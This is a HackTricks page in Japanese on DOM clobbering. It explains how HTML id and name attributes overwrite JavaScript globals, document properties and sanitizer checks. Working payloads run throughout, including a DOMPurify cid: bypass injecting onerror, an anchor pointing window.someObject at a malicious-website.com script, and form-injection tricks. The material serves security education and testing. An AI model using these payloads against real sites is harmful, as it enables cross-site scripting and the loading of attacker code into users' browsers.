Dom Clobbering

Support HackTricks

基本

HTMLタグの属性**idname**を使用して、JSコンテキスト内にグローバル変数を生成することが可能です。

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

のみ 特定の要素は name属性 を使用してグローバルをクラッシャーできます。それらは: embed, form, iframe, image, img および object です。

興味深いことに、form要素 を使用して変数を クラッシャー にすると、要素自体の toString 値が得られます: [object HTMLFormElement] ですが、anchor の場合、toString はアンカーの href になります。したがって、a タグを使用してクラッシャーを行うと、文字列として扱われる ときに 制御 できます:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

配列と属性

配列とオブジェクトの属性をクラッシャーすることも可能です:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

3番目の属性(例:x.y.z)を上書きするには、**form**を使用する必要があります:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

属性をさらにクラッキングすることはより複雑ですが、それでも可能です。iframeを使用します:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

styleタグはiframeがレンダリングされるのに十分な時間を与えるために使用されます。これがないと、undefinedのアラートが表示されます。

より深い属性をクラッシャーするには、htmlエンコーディングを使用したiframesを次のように使用できます:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

フィルターバイパス

フィルターが document.getElementByID('x').attributes のようなものでノードの プロパティループ している場合、属性 .attributesクラッシャー してフィルターを 壊す ことができます。 tagNamenodeNameparentNode などの他のDOMプロパティも クラッシャブル です。

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

window.someObjectのクラッバーリング

JavaScriptでは、次のようなものを見つけることが一般的です:

var someObject = window.someObject || {};

HTMLをページ上で操作することで、someObjectをDOMノードで上書きすることができ、潜在的にセキュリティの脆弱性を引き起こす可能性があります。例えば、someObjectを悪意のあるスクリプトを指すアンカー要素に置き換えることができます:

<a id=someObject href=//malicious-website.com/malicious.js></a>

脆弱なコードの例としては:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

この方法は、スクリプトソースを利用して不要なコードを実行します。

トリック: DOMPurifycid: プロトコルを使用することを許可しており、二重引用符をURLエンコードしません。これは、実行時にデコードされるエンコードされた二重引用符を注入できることを意味します。したがって、<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> のようなものを注入すると、HTMLエンコードされた &quot;実行時にデコードされ、属性値から エスケープ されて onerror イベントを 作成 します。

別の技術は form 要素を使用します。特定のクライアントサイドライブラリは、新しく作成されたフォーム要素の属性を検査してクリーンアップします。しかし、フォーム内に id=attributesinput を追加することで、属性プロパティを効果的に上書きし、サニタイザーが実際の属性にアクセスできないようにします。

このタイプのクラッキングの例をこのCTFの解説で見つけることができます

ドキュメントオブジェクトのクラッキング

ドキュメントによると、DOMクラッキングを使用してドキュメントオブジェクトの属性を上書きすることが可能です:

Document インターフェースは named properties をサポートしています。Document オブジェクトの supported property names は、次のもので構成されます。tree order に従い、後の重複を無視し、同じ要素が両方を提供する場合は、id 属性からの値が名前属性からの値の前に来ます:

- 空でない名前コンテンツ属性を持ち、ドキュメントを root とする document tree にあるすべての exposed embedformiframeimg、および exposed object 要素の名前コンテンツ属性の値; - 空でない id コンテンツ属性を持ち、ドキュメントを root とする document tree にあるすべての exposed object 要素の id コンテンツ属性の値; - 空でない id コンテンツ属性と空でない名前コンテンツ属性の両方を持ち、ドキュメントを root とする document tree にあるすべての img 要素の id コンテンツ属性の値。

この技術を使用すると、一般的に使用される document.cookiedocument.bodydocument.children などの 値を上書き したり、document.querySelector のような Document インターフェース内のメソッドを上書きしたりできます。

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

要素がクラッシャーされた後の書き込み

document.getElementById()document.querySelector() への呼び出しの結果は、同じ id 属性を持つ <html> または <body> タグを注入することで変更できます。これを行う方法は次のとおりです:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

さらに、これらの注入されたHTML/bodyタグを隠すためにスタイルを使用することで、innerText内の他のテキストからの干渉を防ぎ、攻撃の効果を高めることができます:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

SVGに関する調査では、<body>タグも効果的に利用できることが明らかになりました:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

SVG内でHTMLタグがChromeやFirefoxなどのブラウザで機能するためには、<foreignobject>タグが必要です:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Clobbering Forms

フォーム内に新しいエントリを追加することは、いくつかのタグ内にform属性を指定するだけで可能です。これを使用して、フォーム内に新しい値を追加したり、新しいボタンを追加して送信することもできます(クリックジャッキングや一部の.click() JSコードの悪用):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

参考文献

HackTricksをサポートする

Last updated